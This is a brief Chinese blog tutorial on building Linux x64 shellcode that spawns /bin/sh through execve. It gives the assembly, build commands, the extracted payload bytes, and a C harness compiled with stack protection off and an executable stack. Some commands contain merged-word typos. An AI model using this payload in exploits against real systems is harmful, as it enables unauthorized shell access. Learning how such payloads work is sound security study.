Linux x64下编写shellcode - execve(/bin/sh)

1、将下述汇编代码存储为sh.s

section .text

  global _start

    _start:

      push rax

      xor rdx, rdx

      xor rsi, rsi

      mov rbx,'/bin//sh'

      push rbx

      push rsp

      pop rdi

      mov al, 59

      syscall

2、用nasm编译执行

nasm -f elf64sh.s -o sh.o

ld sh.o -o sh

3、显示汇编代码

objdump --disassemble ./sh

4、将上述得到的shellcode写入代码

#include <stdio.h>

unsigned charshellcode[] = \

"\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05";

main()

{

    int (*ret)() = (int(*)())shellcode;

    ret();

}

5、gcc编译执行

gcc -fno-stack-protector -z execstack shell.c -o shell

©著作权归作者所有,转载或内容合作请联系作者
【社区内容提示】社区部分内容疑似由AI辅助生成,浏览时请结合常识与多方信息审慎甄别。
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

相关阅读更多精彩内容

友情链接更多精彩内容